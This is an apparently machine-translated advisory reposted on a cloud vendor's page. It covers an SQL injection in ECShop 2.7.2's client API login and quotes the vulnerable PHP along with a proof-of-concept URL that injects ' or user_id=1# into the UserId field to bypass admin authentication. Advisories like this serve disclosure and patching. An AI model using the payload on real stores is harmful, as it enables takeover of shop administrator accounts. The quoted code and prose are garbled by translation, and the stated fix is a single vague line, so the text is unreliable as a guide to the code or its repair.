ECShop 2.7.2 API blind injection vulnerability and repair solution

Source: Internet
Author: User

 

Brief description:

This vulnerability has been tested by myself. When the server disables the magic quotation marks, You can blind note, not affected by the ECShop kernel filter. This time it's not difficult

The problem file is stored in/api/client/api. php.

Use POST

Detailed description:

/Api/client/api. php Line 4

Dispatch ($ _ POST );

 

/Api/client/uplodes/lib_api.php 6-10 lines

$ Func_arr = array ('getdomain', 'userlogin', 'addcategory ', 'addbrand', 'addgoods', 'getcategory ', 'getbrand', 'getgoods ', 'deletebrand', 'deleteategory ', 'deleteuploads', 'editbrand', 'editcategory', 'editgoods ');

 

If (in_array ($ post ['action'], $ func_arr) & function_exists ('api _ '. $ post ['action'])

 

{

 

Return call_user_func ('api _ '. $ post ['action'], $ post );

 

}

 

When $ _ POST ['action'] = 'userlogin', call

/Api/client/node des/lib_api.php row 246

Function API_UserLogin ($ post)

 

{

 

$ Post ['username'] = isset ($ post ['userid'])? Trim ($ post ['userid']): '';

 

$ Post ['Password'] = isset ($ post ['Password'])? Strtolower (trim ($ post ['Password']): '';

 

 

 

/* Check whether the password is correct */

 

$ SQL = "SELECT user_id, user_name, password, action_list, last_login ".

 

"FROM". $ GLOBALS ['ecs']-> table ('admin _ user ').

 

"WHERE user_name = '". $ post ['username']. "'";

 

$ Row = $ GLOBALS ['db']-> getRow ($ SQL );

 

If ($ row)

 

{

 

If ($ row ['Password']! = $ Post ['Password'])

 

{

 

Client_show_message (103 );

 

}

 

Require_once (ROOT_PATH. ADMIN_PATH. '/includes/lib_main.php ');

 

// Login successful

 

Set_admin_session ($ row ['user _ id'], $ row ['user _ name'], $ row ['Action _ list'], $ row ['last _ login']);

 

 

 

// Update the Last Logon Time and IP address

 

$ GLOBALS ['db']-> query ("UPDATE". $ GLOBALS ['ecs']-> table ('admin _ user ').

 

"SET last_login = '". gmtime (). "', last_ip = '". real_ip ()."'".

 

"WHERE user_id = '$ _ SESSION [admin_id]'");

 

Client_show_message (100, true, VERSION, 0, true, EC_CHARSET );

 

}

 

The USERID is not filtered and is not affected by kernel filtering, resulting in a blind injection vulnerability.

Proof of vulnerability:

Http://www.bkjia.com/ecshop/api/client/api. php? Action = UserLogin & UserId = % 27% 20or % 20user_id = 1% 23

Note: To facilitate the test, I changed the POST method in the code to GET. To facilitate the display of successful injection, I inserted the appropriate code after executing the SQL statement to display the result. The real environment does not show the results

Solution:

 

Just filter what you want.

 

 

Author: tenzy @ wooyun

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.